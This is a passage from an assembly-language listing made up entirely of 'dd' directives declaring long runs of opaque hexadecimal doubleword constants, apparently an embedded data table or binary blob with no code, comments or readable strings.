		dd 0F480E733h, 0F72D8921h, 749E0D7h, 0D2A56DE5h, 0C006FCB1h
		dd 50B2106Dh, 7C977ED0h, 7D28F79Fh, 2E6D86C2h, 61A0A39Dh
		dd 632E7465h, 6EFA756Dh, 0BC70533h, 0ADC5C7A8h,	0A01D9107h
		dd 0A472AAF5h, 0C74965C7h, 8D2EEDE8h, 0E445F4CFh, 99E7956Dh
		dd 2DE4058Bh, 7128C779h, 0EC77B884h, 0C959A4E7h, 3216DB9h
		dd 0D9C769A3h, 0A1C7ECADh, 2D8C4D71h, 0C474ADC6h, 0EFB7E7C4h
		dd 614928B1h, 0E786ED5Dh, 8A2ADC07h, 6E2CE8EDh,	7CEEC565h
		dd 556AE72Bh, 0DBB3E504h, 7AEC13D7h, 0C776AD58h, 0E144752Eh
		dd 0E3A1BDFCh, 703AFA49h, 82DBF705h, 5FEDE3C7h,	3A6DA40Ah
		dd 0B1A6ADE5h, 0E5C5F0FDh, 0B5D766F4h, 2DEEC568h, 69AB83E1h
		dd 0E42DE3C7h, 4D6F0F7h, 0C71F6DDAh, 6C80ACFBh,	22018036h
		dd 0FCCB444Dh, 7C8530F3h, 47ADB1ABh, 0C56521F7h, 0F7952DD3h
		dd 0DEC4D456h, 0A2F7E774h, 0FCFEC549h, 7706D7F2h, 7EDD904h
		dd 0FC5169D7h, 0D7227783h, 9CE6E436h, 6DD7A42Dh, 0C4A6B05Dh
		dd 61A6E786h, 0F954C8C7h, 0C4716D81h, 0C7C7EDE5h, 0A3215DA1h
		dd 63E7E6ADh, 0EDEA4765h, 6923DC25h, 7C4EC885h,	6592781h
		dd 0D00FADE3h, 0E6C574F1h, 66D7B4ADh, 0ADD98659h, 0E0BFD740h
		dd 13F41AE1h, 0C768BBE7h, 503FEDDBh, 0A3736123h, 0EDB1192Dh
		dd 0AD8FB371h, 6560E758h, 0BBC1BDF2h, 0C4C4F8C7h, 0D7D32DD2h
		dd 0E2C66564h, 74D798F4h, 0BB40E948h, 59A2A17Dh, 54ADF205h
		dd 575A2A5h, 1DFDEDC0h,	0ECC5ECFEh, 34D76A6Dh, 0ADEBC7A4h
		dd 80F7F7E4h, 2574D6C5h, 4C88B3F7h, 0B598EDADh,	0F746CC3Ah
		dd 656BA5EDh, 2D8EED8Ch, 0F303A040h, 356D652Ch,	649EDD7h
		dd 0E726EDE6h, 0EE046D2Dh, 0F0D0F03Fh, 0ADA1A1D7h, 0C8C5C0Fh
		dd 0F7378C3Bh, 22B8CED7h, 0E7CCEDA5h, 0E646C4F7h, 0F3C78BEDh
		dd 0ADE0C6F8h, 65E3E7DCh, 85F4E085h, 0CE4922F7h, 0E76DAD56h
		dd 81728B75h, 39A1892Dh, 0B6F8C548h, 69A5D71Fh,	15ADA52Fh
		dd 44716DD7h, 0E7052DCDh, 0AF2094F2h, 6BD7E437h, 2DCD8671h
		dd 5489C724h, 95ED752Fh, 7452E5Dh, 1250FE2h, 72A96709h
		dd 8B551227h, 0FD26ED9h, 4C55C715h, 0ED725A32h,	0BCB4C5E7h
		dd 0C707EDADh, 0D3C54520h, 0C2D7152Dh, 0ADC185C8h, 4964E78Dh
		dd 8E6DAC41h, 0C7087BD0h, 303FADEDh, 97107168h,	66D7E6ADh
		dd 0EDE18445h, 404BF739h
		dd 0BE2DD546h, 49C8FD2h, 4336EDE9h, 8C4ECC11h, 92D7522Dh
		dd 6DACB778h, 0C8F8C043h, 9BF7EEC7h, 68FCBEF7h,	71682DAFh
		dd 0A60879A1h, 35F7FB6Dh, 2D9AF2D4h, 79E10132h,	10B688E1h
		dd 4665A2C7h, 0D7E0C8D5h, 0E9C47D6Dh, 2550F4F1h, 0EDC7C76Dh
		dd 7D661338h, 63F7D3C6h, 476092D7h, 52AD2DD5h, 0E406496Dh
		dd 0E5E71C6Dh, 0B4C70665h, 0DCF640C9h, 0ABEDF704h, 77126E7h
		dd 23562DDDh, 0CE06DC77h, 66D774FCh, 0ADD90665h, 5563C75Eh
		dd 0DDB3E685h, 0F875E0E7h, 0F7F5EDB0h, 85614779h, 0C82338ADh
		dd 0FCCE06C4h, 7125D7A5h, 38ADF6C7h, 0C471AA03h, 0C7D62DD1h
		dd 817780CCh, 0EDF77C2Dh, 0ADBF7059h, 7926D0A6h, 0B56DAE08h
		dd 0C56926E7h, 0E7852DE4h, 0D5846566h, 0ADB12C34h, 0BED2455Dh
		dd 4562E0E2h, 0E6EDEE85h, 45CBD9E2h, 0A16D2DFCh, 0C2C57D62h
		dd 61E708F4h, 6DE88575h, 45E5F7F6h, 44EDEA85h, 557525F7h
		dd 0C7D3B648h, 0EEC559E2h, 65E7B16Dh, 2DF5C569h, 6968C72Bh
		dd 58EDE304h, 4579E1F7h, 0D7B86DE5h, 0E4444DA2h, 66E7FFEDh
		dd 47CE8445h, 0C25AD7C1h, 0A683B463h, 0C7F319F7h, 0C79131C9h
		dd 0DA856922h, 0AAE786F4h, 0ED9CCA5Dh, 0CC9CD7EBh, 0DF6DE6C4h
		dd 3741A5E7h, 0C7D8AD9Ah, 0CF4510EAh, 60D726ADh, 2DEE0549h
		dd 0C031C73Ah, 6F76EE86h, 856D2261h, 0C780F4DAh, 0D5C7CBDBh
		dd 66D775EDh, 6DEC8669h, 5D6DD7EBh, 5EADDB06h, 85E49CE7h
		dd 0F724ADD8h, 0E0C741E1h, 0C4F77F49h, 0F4C534ACh, 612CF79Fh
		dd 3ABA95D7h, 67DADF7h,	0F746EDEAh, 78F761ECh, 23DCFBEDh
		dd 81D986A9h, 18EDF77Bh, 0D6F7228Ah, 4652D3Fh, 0E758B4C6h
		dd 0EC856522h, 21C725E0h, 71C70441h, 6522F758h,	5774D685h
		dd 47A8F8C0h, 0A074D8F6h, 0C88545A2h, 0AEB263B0h, 49DCC710h
		dd 49E1F7E1h, 552DEB05h, 0F67D6AC2h, 0F71121B1h, 0E485516Bh
		dd 4C632879h, 71BB2B07h, 51A1A196h, 0E7ADF5C7h,	54DEDE7h
		dd 911676C1h, 0F5C57521h, 37F7F8F4h, 0B5B4E2A0h, 79EFC7DFh
		dd 828CC787h, 67DE700h,	0B0AAEDE2h, 0E3067DA5h,	36C7E7EDh
		dd 0EDA1419Ch, 516FA189h, 8A78BD23h, 474565B1h,	171F0D8h
		dd 0D0C56DA5h, 0CED725ADh, 0FCFC6E8h, 69666116h, 0BEADD644h
		dd 6B71EBE7h, 0D7DF7893h, 0C18669ABh, 0ADE7CDB8h, 31854149h
		dd 4C71E7AAh, 0FFEDF544h, 0EE61E7E7h, 0C7882D40h, 0EA8410EDh
		dd 65E739B6h, 0ADD0C741h, 616BE7DCh, 0A438E9C6h, 6CA7F8F7h
		dd 90EE0FBCh, 0F1047166h, 0A3E7F8EDh, 35DBC769h, 49A5F77Ah
		dd 0E4ADD205h, 0FE6D22E7h, 83F7ED93h, 0C5C6A04Ah, 32F7252Dh
		dd 2DAD74ACh, 51E6F707h, 972D8572h, 0FE792A61h,	0D7BB6D66h
		dd 0EC8570DFh, 63A01F6Dh, 0BED2C569h, 3004E731h, 0E4EDA423h
		dd 5456BE7h, 5D93BCEDh,	0F885416Bh, 6BE7DE37h, 7FC14479h
		dd 0BA3A7F9Eh, 9EF34172h, 87796B92h, 0F7DF07D4h, 0A6414964h
		dd 2940A1C3h, 0BEF9C579h, 656BA01Fh, 9E38C1C7h,	729BC341h
		dd 0ACD6ED86h, 5992616Eh, 0A4F7DFB6h, 2DDA326Dh, 0F00EE7E7h
		dd 95ED9D3Dh, 7275A45Dh, 93D6B67Ah, 0B9687564h,	61F707EDh
		dd 2DACB75Dh, 41E4F7F8h, 1AAD74AEh, 8545E2E7h, 0E7F52DCDh
		dd 885075EEh, 8DE72F83h, 0ED9D2FABh, 5925E7B4h,	86DF0C5h
		dd 46400B80h, 62FAEDCFh, 0EE06E411h, 0E5D7A56Dh, 0C3C8C67Dh
		dd 0A0E3A0E2h, 36ADAC73h, 56DA621h, 0D76634F8h,	0CFC64DE5h
		dd 0EE772F1h, 0ADCDC4E4h, 0EBC9F7F7h, 9379A727h, 0C594C5E7h
		dd 0F787BEE8h, 802B6120h, 6D9174ADh, 2DD9C479h,	0FC462172h
		dd 19EDFD04h, 2251EE21h, 0C7496DB3h, 0A0B834D0h, 6BE7D4ADh
		dd 2DF7046Dh, 55E1E245h, 0D5B6FB04h, 0F8A0C0F7h, 0D7C56D65h
		dd 0CD075750h, 0D1F7B32Dh, 0ADD5C700h, 616BE7FAh, 0B682E484h
		dd 0C741E4E7h, 4DBDB4D6h, 25D7C48h, 87D7E2F7h, 36D285C4h
		dd 949F40E4h, 8BFAD286h, 0A85DA461h, 7113FA86h,	0CE47596Bh
		dd 7B5036C4h, 37AF8E5Ch, 61A2B80Ah, 8D3FF805h, 2C69E421h
		dd 2CCDED8Dh, 0C5857562h, 0ECD7A4EDh, 0ADD18541h, 239E30A2h
		dd 0B87ADE45h, 7BD4FEE7h, 22B9ED79h, 517D4128h,	0D8D724ADh
		dd 3778B22Ch, 0C30BF7D2h, 0B57692B5h, 0C4B03BE7h, 1C232DF5h
		dd 0BD5A59A1h, 93D0FD2Dh, 2DF184B0h, 49292D07h,	0E6ADF405h
		dd 4575E2D7h, 0D74134C1h, 0E986B4BBh, 0D0E709F4h, 2DA630D8h
		dd 4926F77Ah, 3AF7EF05h, 0C4E876D7h, 2172EDE4h,	0F0C74968h
		dd 0A52059ADh, 0FCC1C66Dh, 0FC58F1F1h, 0CD2D8DA4h, 0FB792AF7h
		dd 6CBCB242h, 89C8512Ah, 863848Bh, 2DCD4664h, 5DEED70Eh
		dd 1FADA70Eh, 0B9496FE7h, 0F7D7B435h, 8279416Dh, 6F306AF7h
		dd 0FADD0761h, 69E87056h, 872D6578h, 0B85961E7h, 0AF39ED90h
		dd 2478452Eh, 9FF76A6Dh, 6DE6051Fh, 28DEE77Ah, 0E0ADA3F6h
		dd 1B4D26F7h, 0C7AAED62h, 0D7453B99h, 0A2306C76h, 74CC4561h
		dd 0C89FE7DDh, 0DFFACB85h, 605166D7h, 0C7663C69h, 0DC47D43Ah
		dd 0A0C7F1F4h, 2DFE4645h, 0C485B3EBh, 95AD457Fh, 19792B5Dh
		dd 0E7996DAEh, 9FA0DCF0h, 61AC1C2Dh, 3683DE61h,	6492D7B7h
		dd 0C8ADDCC7h, 55E83B21h, 0A15FB640h, 0E506FCC6h, 0EDE725ADh
		dd 0C1916255h, 0D0DF4DDDh, 0ABADD9C7h, 8ECC12F7h, 0D71AB18Ah
		dd 0CD8545E2h, 0A6B0036Dh, 0ED90FC69h, 0DC3981B6h, 2387452Ah
		dd 0C4ECB671h, 0F7C4E7C3h, 66E0512Bh, 6DF7E3ADh, 6DE8C579h
		dd 94CDF776h, 0F7FCDD87h, 0C0D09D41h, 0E774408Dh, 0D1065D6Bh
		dd 0A9752CEDh, 0ED2D0D65h, 69AD656Ch, 7800D207h, 8D51A4E7h
		dd 0E7A0F490h, 7321412Dh, 0A4E77AF7h, 0F1E8C575h, 0FB31F702h
		dd 80C7CEC5h, 464831F7h, 81416DC3h, 0D604F050h,	0EEC7DFEDh
		dd 0AD114C65h, 0E7C6D7BAh, 3E67C9C6h, 0CC4C02D7h, 0F7DFBFA0h
		dd 0B5014524h, 0C7A1A8ADh, 2D4ECF80h, 596BE773h, 7767C904h
		dd 0E1D7C6D7h, 0F7EA5F88h, 0C587CBBEh, 27934A87h, 0BFAFCC71h
		dd 75A561B3h, 23EDF604h, 86416B61h, 0B154B4ECh,	912170BEh
		dd 6B93D42Dh, 37F6857Dh, 696B2561h, 0A1C6F946h,	6B69A440h
		dd 9DF77685h, 9D4051A9h, 69521C50h, 0B4E8C569h,	556DD7B0h
		dd 0A63BE746h, 602012D7h, 302A2DB3h, 8CE21CEDh,	90309174h
		dd 0ADB33374h, 0CC9FC71Fh, 8C2D8D38h, 658B9E7h,	22C5EDD2h
		dd 0ED85E473h, 6AD7F334h, 0ADA20075h, 6563E7E4h, 0E38292E5h
		dd 879E1E7h, 0A1A26DACh, 0AEA0DC73h, 0A0C7E6ADh, 2D8D8871h
		dd 48D4C7BFh, 4AED8D21h, 847DA593h, 0E7A9F2D1h,	0E68450B9h
		dd 0E033B62Dh, 0F1FD8461h, 0CC7D81B4h, 4CFFA3C8h, 464431F7h
		dd 0A3ABB3DFh, 0D7047562h, 73E72274h, 0B4CD45F4h, 785DD7EDh
		dd 0D77E3028h, 0C275EAB1h, 0C7E2F49Eh, 0D904F03Eh, 24A1F4ADh
		dd 0F2D48479h, 79E0E7DBh, 142D992Ah, 46C69891h,	0E74EADEEh
		dd 0F50644B2h, 5DF7DAB4h, 36DD0508h, 69A0C739h,	28EDDE84h
		dd 375922E7h, 0F73AF3ABh, 0BBEB6926h, 0E4E736B4h, 0EDA1BD41h
		dd 0ECBB10A7h, 64B6B477h, 4F3FAC7h, 23D0EDC0h, 0F2C5D4B1h
		dd 60E7863Eh, 7EEE0665h, 0D518B0F5h, 852D91ECh,	21C813CCh
		dd 31DA36B9h, 0F7C6BB25h, 2FE779C1h, 0B0CC8449h, 6811B0FEh
		dd 0EA2DC9C7h, 0C464FBE0h, 0D7DBB4E3h, 0E0C67D2Ah, 1C712EADh
		dd 0B4C40414h, 4964E7B6h, 26ADE405h, 0C56DAE4Ch, 0B19CC3DCh
		dd 0E90549EDh, 0CCC17044h, 3CCA47ECh, 7562D705h, 0C26D9AA3h
		dd 0C7F8CC8Dh, 0D0618FE7h, 0DC6365A9h, 0D3D08FADh, 0ADD604F0h
		dd 5529B05Dh, 98AD59EAh
		dd 425963A3h, 0C7502D8Dh, 0FBC70829h, 1A16AB2h,	1F8C6C8h
		dd 0FC441EF1h, 0E1F4C184h, 0E918EDF7h, 0F769AD84h, 54D3DC31h
		dd 0ACE775F6h, 7737E30Ch, 0FF7AF7A9h, 4A4A8B3Fh, 374DE160h
		dd 0D7667CC0h, 94D607B4h, 0ACE7A1F6h, 0F8F5B704h, 0AF6F3D04h
		dd 882D93AFh, 0C549A2E4h, 61414CC7h, 4BE051ABh,	0EB211830h
		dd 2D910A4Dh, 456B255Ah, 783CE186h, 0B565AAA1h,	0A1F5AD68h
		dd 0E6C5D85Ah, 0CD70D6Dh, 0B08DBDCBh, 59E6E7ABh, 856DEAC5h
		dd 4A7C2C7h, 2159F1FAh,	0CFC55561h, 36F0DD34h, 2DCDC4D0h
		dd 4523D77Ah, 0E67B9BABh, 1E552DF7h, 0A15FEDACh, 0CF06E4B5h
		dd 22C7DE70h, 33951479h, 0D404F7EBh, 0BA6DEC85h, 464528E7h
		dd 0D03A6DFFh, 90D1652Ah, 2AD7A2ADh, 6DA6F265h,	41A5A094h
		dd 3AB3EA05h, 0A06528D7h, 900FB19Ah, 0F5C67DEDh, 6BA18FEDh
		dd 0ADDAC565h, 456BD70Bh, 0BAC1DF45h, 0AA8422D7h, 0C7D2B493h
		dd 0F285E558h, 26F75271h, 0EDD24604h, 54BBA3EBh, 146DAE94h
		dd 6B420D7h, 0D7D580DBh, 0FAC7ADFDh, 0ED2339ADh, 0AD91486Dh
		dd 0E844D767h, 0FF2DCD84h, 0E2556AF7h, 0E733B14Bh, 9642B4E2h
		dd 980DD3C3h, 26FF46F6h, 84461D5Dh, 0EDCCDDC4h,	866D6BD7h
		dd 0F74D2DCCh, 9CC85031h, 0A540237Eh, 0F1DC8479h, 512491ABh
		dd 0A9795E57h, 0C0516E01h, 0E7F5F66Dh, 0F7447DA5h, 96A14136h
		dd 8684EEE0h, 0D863F7B8h, 0BB7EFE06h, 45B0C423h, 932B38F4h
		dd 0F7847D6Bh, 0FEC7E674h, 5AC684E4h, 4566F7EEh, 2CAD933Bh
		dd 13E0BBD7h, 0F7F83C9Bh, 0D3C55924h, 0A7E7B06Dh, 0EF2846Dh
		dd 0AE4FC7E2h, 91F6706Ah, 8AAB03E7h, 13D003BAh,	8D5E89CBh
		dd 43F7FC2Dh, 0B18BC8A2h, 64F83149h, 0CF04F004h, 21412FF7h
		dd 0E717378Eh, 0D744D719h, 84D7A374h, 0FA8373D7h, 4923A154h
		dd 0B5EDE246h, 46C3B11Bh, 0F7E9ADC1h, 0A5A26CC6h, 0E29D906Dh
		dd 6D845961h, 6966F7FDh, 0E6FFEBC4h, 6DB8411h, 142B2DF5h
		dd 0D6879ED1h, 29E7D6BEh, 0B29F384Dh, 69A5EE79h, 12ADF484h
		dd 0C59487A3h, 0E2BDF4C1h, 0DF847165h, 9C9178BEh, 2DD94490h
		dd 41AFC041h, 7CB5B321h, 0C7882300h, 0E7B22DF8h, 8EE8105Ch
		dd 6AF7852Dh, 0F061EB79h, 24ACE78Bh, 0DFADF4C5h, 5B65ACE7h
		dd 0F7B3ADB8h, 0D8C6AC81h, 0A2218B73h, 0B4C44575h, 0AC9F764h
		dd 60C0BEB4h, 0A308F7E7h, 31A94CC6h, 840869E7h,	60E7EA6Dh
		dd 0ED719855h, 59EC11CEh, 0F809DB45h, 0AB4965F7h, 0E7EAEDB0h
		dd 8EB85560h, 0D1F7652Dh, 2DE784DCh, 556321E8h,	50EDDDC6h
		dd 84F435A1h, 91A26DF4h, 71E15DEFh, 2AD715F4h, 0C4EB0571h
		dd 55E99922h, 4AED6ADAh, 0E165A5C7h, 277ADACh, 0CE44B022h
		dd 0A1C7E62Dh, 2D400159h, 0A2F8C7C2h, 646DEF06h, 0C5516DC7h
		dd 0E76B6DC1h, 0EBC7C4F4h, 6DC774EDh, 6DEDC55Dh, 79E9B1B2h
		dd 0C4ADA360h, 6E8C5E7h, 21F4ADFBh, 0E04575A1h,	24F74772h
		dd 0F6556065h, 6569D76Bh, 47ADA563h, 6565E7h, 0A1C72D90h
		dd 912065E1h, 6BD76FADh, 6DE5C549h, 75A3F79Bh, 0EDE904h
		dd 0E371A1B1h, 0E7072DCAh, 0E5C445E8h, 0E6E7EB6Dh, 2DDF0475h
		dd 7164E7EBh, 0F7EDE404h, 0C54D6DC7h, 0E775ADE5h, 0C2C7C4F2h
		dd 60D758B6h, 2D780071h, 5128E7E5h, 906DF585h, 6FC2893h
		dd 0F7A52DE1h, 0E4C575A2h, 9EA36F86h, 34916863h, 49A2237Bh
		dd 0CB06D285h, 0B171A741h, 41AFED69h, 0EC06846Dh, 2AE2876Dh
		dd 0ADEDC741h, 80E2E7E4h, 0E5EDAD62h, 6259EB81h, 0C7E734D2h
		dd 0A0EDEC7Ah, 6D508F6Dh, 0ADD10665h, 0CC12F7E0h, 0B06DEC45h
		dd 2A5DE1A1h, 0E718EDA6h, 0FC44D8C7h, 0B26C88F7h, 0F39682C8h
		dd 1059D7E1h, 0E0EDB8ADh, 0C584FBA1h, 0E70271C7h, 0A6F441E9h
		dd 27F76A6Dh, 6DF1C559h, 696AE0EEh, 72DEEC5h, 4645E9F7h
		dd 13396DDEh, 0AECC5120h, 0A2F7156Dh, 2DE3C57Dh, 5127F725h
		dd 0A5ADE6C7h, 4DFFBE7h, 0E786EDF4h, 0EFC56161h, 6DE7A16Dh
		dd 0B489BB79h, 4965A932h, 83ED9DECh, 87456320h,	53F13CEFh
		dd 0E6C645E5h, 1E5121EDh, 6DEB87B0h, 5122732Eh,	0D73C903Fh
		dd 0C569A2E7h, 0F7A52DE3h, 0E3C749A1h, 0E1F7E6ADh, 0ED4B6349h
		dd 45A561CFh, 0A4ADDCC4h, 8645AAD7h, 0F7AE77C0h, 81E045E1h
		dd 65C7FAADh, 0ADCF8741h, 7920C7FCh, 0E52DDB06h, 0C66D6DD1h
		dd 0E7677FD9h, 0E0C5CFC9h, 0E1F7E51Fh, 2DA6EE41h, 17E202A0h
		dd 0F76DC445h, 0A165E6F7h, 246ADB6h, 816241A0h,	0A8235B2Dh
		dd 0F8F28465h, 983CC71Ah, 0DFEDD506h, 0C16968D7h, 71FB769Fh
		dd 9C337520h, 0A1C7863Fh, 0ADF5C561h, 0F4FBA1E0h, 77BFEA86h
		dd 0EC84F063h, 0E71577AAh, 0A7AFF0CCh, 2BD76E6Dh, 0EDB14228h
		dd 0FCC763DBh, 268099EEh, 7B4567E2h, 0E7332DA6h, 0CF44516Bh
		dd 0E2A1B06Dh, 0FFFE842Bh, 0FB467D89h, 2134C284h, 0BA5925E0h
		dd 5FC1A7AEh, 0E5C6FC80h, 0A9C7E9EDh, 76EDC465h, 0AC6C7D32h
		dd 35BF83A2h, 568CEF7h,	0C7342DDAh, 0E804D8B5h,	6B617DEDh
		dd 0FED90459h, 69E6617Ch, 25F4F7C4h, 0AF4968E7h, 0D7EAAD5Bh
		dd 0D9444CDCh, 0F3E7CDFEh, 0AD93B363h, 6DE1D7E4h, 6CAD9869h
		dd 865DAAD7h, 0B0E4C7DCh, 996A7566h, 0EBD725ADh, 77B975B4h
		dd 55E13301h, 7FADB209h, 3D49E6E7h, 0D7472D8Ah,	0A0EAD307h
		dd 0CB4235F7h, 27554ECDh, 77D565DBh, 0A7FECB86h, 86C64A23h
		dd 56077C1h, 0D6C5E814h, 0ADA1E534h, 0C6CA4551h, 0C7158279h
		dd 33EDF646h, 0FB443A63h, 71EEBE66h, 2C8556Fh, 0CA213127h
		dd 27D18478h, 656B65DAh, 0D3C9E804h, 85E415E7h,	0D776F4F1h
		dd 0B622A924h, 0E05DDBB7h, 2DCD8479h, 3827E722h, 0E2F79495h
		dd 54961E7h, 0E7262DD5h, 0EDC6612Ch, 22E7DAB4h,	0EDDE456Dh
		dd 5D22F715h, 677CF485h, 0C5796DC7h, 0E7C4ADE2h, 0DC0471E9h
		dd 0A1D7C72Dh, 0FBDC065Dh, 556DDA69h, 0A12D8E09h, 29A8AED7h
		dd 21A6F32Eh, 0F6845D6Bh, 252DF5C3h, 2D8D4A79h,	4D6FE790h
		dd 83F7DFF4h, 5649E681h, 0D7EE74BBh, 0D0443C6Bh, 0FE0ABADh
		dd 0EDAD6237h, 55EBF7DFh, 5D3E8409h, 0D1ADC541h, 7333ED48h
		dd 0E7B1A4A9h, 43F7C9C8h, 37C78527h, 0E8B5E7FFh, 0E4F4FCC5h
		dd 46C45291h, 0B325ADC6h, 3D6EE8BAh, 0A5F792EDh, 3CEF4745h
		dd 616A204Fh, 0B0768AB0h, 8651EAACh, 0F7D230E0h, 0F90645A2h
		dd 28A1DB2Dh, 0B0C74451h, 696BE7B2h, 142D8D70h,	8759E6A1h
		dd 0E7B514EEh, 0A782F499h, 0C581E0F7h, 3CAFA1CCh, 652EA1E6h
		dd 72F4F887h, 4445A432h, 0B3576DD5h, 0C585B00Bh, 0A5B8012Dh
		dd 2DB50961h, 796BF715h, 0DCBFFE87h, 4E4DE46Fh,	5F7873h
		dd 0E5467D21h, 0A2F70BADh, 3FD6C45Dh, 0E435A11Fh, 0A7FCC745h
		dd 5692A21h, 0A1E6B0C2h, 96416D61h, 35E7D9EDh, 18FB47F4h
		dd 20FCD7CFh, 0D9348C72h, 5143CD7h, 0A15978F6h,	0C10569AAh
		dd 6DB09DB0h, 7CE0571h,	7965C7B8h, 1FEDE0C6h, 849FB96Dh
		dd 0F7E378ECh, 83F8189Eh, 0EF12A26Dh, 0BAF24779h, 61AB2919h
		dd 2CADE547h, 54969BDh,	70432DE4h, 0A4D8716Dh, 0BAB0CEC8h
		dd 0ED6DD8F4h, 0A1672E2h, 0DA2DCB46h, 4756163h,	0E70AEDF3h
		dd 0A25D6120h, 68E7842Dh, 6D8D0955h, 0DC34F78Ch, 392DF107h
		dd 85756B52h, 0F7C76DDAh, 0D7C3C03h, 2E83572Dh,	0BBD70741h
		dd 6521F7C7h, 0E4ADCD46h, 0C71004E7h, 0E7D26DE0h, 0A9A46416h
		dd 0FCD7CBF4h, 0AD8D360Bh, 51EFD7DCh, 0DF5BB6A1h, 8A5D62C7h
		dd 0F7863490h, 47BF712Ch, 6D81E5B7h, 7BD1C775h,	45651007h
		dd 78ED99E0h, 3F5DA7F7h
		dd 5215AD5Ch, 0F686456Dh, 6BE70553h, 76C50561h,	45E5D77Fh
		dd 0C2DC544h, 47D85852h, 5F2E6DE3h, 0E684FC58h,	0A1E78603h
		dd 7AEF0565h, 65EDD725h, 4472F846h, 0A071EFF7h,	50306DACh
		dd 0F206756Dh, 6441EDADh, 759A8A5Dh, 1C15520Ch,	0FF3EFB85h
		dd 0C24D68E7h, 0C721F785h, 8DA86818h, 18C7E62Dh, 0EDA0D958h
		dd 712A1352h, 0ED83CD07h, 4D696A71h, 0E7E1AD8Dh, 0AD2849E7h
		dd 0C7620C77h, 0EDC2C6D0h, 55A9A374h, 0DF33C105h, 77925C7h
		dd 0E71ABADDh, 0B0E9E036h, 3BC7C5EDh, 2DA7A2B3h, 7963815Dh
		dd 0AD6D9DEFh, 5B65214Ch, 0D7F46D84h, 925F6035h, 26F705EDh
		dd 0ADF38455h, 55E5B1E1h, 0F4AD8D21h, 0F35D2CC7h, 0F7C648F3h
		dd 69318C7h, 650A3A6Dh,	0ADC70745h, 2A5FF72Ah, 0DAADC0C7h
		dd 0FC60FBD7h, 0D7DD3715h, 0D745756Bh, 6DD7DE34h, 0C3882261h
		dd 51ED7A71h, 202DC104h, 37E0B5E7h, 0C77FEDADh,	0DD85F00Ah
		dd 413EBFADh, 0EDEE4687h, 0E676323Bh, 1DADB96Dh, 3FF07122h
		dd 0C7DF3480h, 0F0C665EFh, 0E5E714B4h, 0BBD7C541h, 5969E705h
		dd 30B4D106h, 8534D3C7h, 0A1EDFED4h, 99935964h,	6AAC5B2Dh
		dd 0F4F4C769h, 45A47235h, 42FCC886h, 93FCB821h,	0E7FAF98Dh
		dd 0BFFC44F4h, 24F71FF4h, 2DEBC749h, 59ABC705h,	9B2DE485h
		dd 0C749A5F7h, 0E7FDF6EBh, 0AE606DADh, 2DF7546Dh, 2DE5C575h
		dd 75ED701Bh, 0ED6DE5C5h, 0C7492AF7h, 111C2DE2h, 0E9444DE9h
		dd 69E7FFEDh, 0AD6A7D61h, 6016F78Ch, 0A2ED9EEBh, 805121E7h
		dd 0C7FBAD96h, 0DDC6E0C3h, 2DF7A42Dh, 6DE00555h, 6DE99FF2h
		dd 86EDBAF9h, 0E665A6E7h, 0D7652D83h, 0D3C5796Dh, 0D50DA2Dh
		dd 0ADFD04B4h, 7DAA1113h, 4AB8E385h, 16D93C1Ch,	0E269EDB5h
		dd 0FE05F07Fh, 7039DBFh, 0EDF24608h, 59EBE7DFh,	0DFE4F407h
		dd 826D28C7h, 0D7ED6DA6h, 0C1C4D0B5h, 9AA1142Dh, 4956C9Fh
		dd 51E7B196h, 34748D00h, 0F040B5F7h, 9551F08Ah,	0F847DCB2h
		dd 6BA1631Ch, 6DC14655h, 0B03591A1h, 472DE5C5h,	2D887632h
		dd 0D7C3B492h, 0A4A1612Dh, 2161CDB4h, 6DAC7875h, 7565E7B5h
		dd 5EDE804h, 0C55561F7h, 0F714EDEDh, 0C68545E1h, 46E094C7h
		dd 6DE8C574h, 69A4E7B5h, 65FF990Dh, 2DF73BF7h, 0E7BD6DA6h
		dd 0A42A7DA5h, 0A160B0EDh, 0ED9E2D61h, 0EFFDC7A4h, 2AEDE604h
		dd 0C6C40091h, 85707CF3h, 0AA40EC30h, 0B3C74AEDh, 0B3B1A37Ch
		dd 0D41653DCh, 29ADF3C5h, 549AAC7h, 11052DEBh, 0E946C836h
		dd 6673DAADh, 0EDF10465h, 7DE4F7B8h, 9B34D544h,	65926F0h
		dd 0E738EDE5h, 0E4C74527h, 6B9245EDh, 6DE80569h, 6D25E7B0h
		dd 0F9F1D484h, 0CA4967E7h, 0F008ADB4h, 0F5C4512Dh, 4EE7B1EDh
		dd 0AD915870h, 7D669251h, 5470CDC6h, 0C55DA223h, 0C7102DCDh
		dd 4FA1612Eh, 5B8B60EDh, 2DE246C4h, 6472D795h, 0FCADC1C4h
		dd 575A161h, 6151B4FBh,	0C9C4696Bh, 0B683223Fh,	0B4A0C9E4h
		dd 0EAB9F7BAh, 0D62DE9C6h, 0A9E0D4F7h, 31F0DE74h, 0EE85F4C3h
		dd 67E089EDh, 0EDB54D59h, 692563FDh, 182DF705h,	0BE79EAF7h
		dd 0D7E7BF85h, 0A6A87CD6h, 0A3E7182Dh, 2DAD4949h, 0EBD1B1FDh
		dd 1F2DF4C5h, 0C871A1D7h, 232FADB9h, 926959A0h,	6BF791C6h
		dd 2DFE8661h, 616BC791h, 272DFD86h, 47169F7h, 0D7182DD1h
		dd 0A42951EAh, 91F7E0BEh, 0EDB56C60h, 51ABC718h, 66AD97E8h
		dd 884566D7h, 0C7E7AD92h, 0DEC559E2h, 0A203EBEDh, 0ADEBC541h
		dd 4892C72Fh, 0E0B6FD85h, 8649E6D7h, 0C7E77EEBh, 0D2C554DCh
		dd 0AAD7532Dh, 2DBFB77Dh, 4969812Eh, 72DF6C7h, 0E87168F7h
		dd 0E755AD7Bh, 0F944CC87h, 0B2306DEDh, 6DC6C5CBh, 0C0CCB1A1h
		dd 29F3E305h, 571A272h,	0D72906DEh, 0F2C4792Ah,	0E2E7FFADh
		dd 0F4BB1045h, 69A6E7A0h, 87ED2DB3h, 0EA7126F7h, 0D7A02D4Eh
		dd 9DE1C6B6h, 994E27ADh, 0B171AC6Ch, 6D6A2C0Bh,	0C4EDEAC5h
		dd 817D6BC7h, 0C0E737B5h, 5DA17DEBh, 25D7A52Dh,	77CCC771h
		dd 0D40EA164h, 0DD77D986h, 85C488E7h, 0E78DF4D0h, 0AECA7DACh
		dd 0A0C7E334h, 4C982F45h, 0E488A12Ah, 80EDEA45h, 0C5F4B3E7h
		dd 42E22DE0h, 0B091203Ch, 0F8C7ECEDh, 6DEC0687h, 4D68E7BAh
		dd 4AF1ADB5h, 3E7B4C7h,	0D7E26DA8h, 0A5837526h,	2CF7E2D2h
		dd 7719D945h, 0ECF7D056h, 69ADAEE1h, 627879A3h,	6A71364Ch
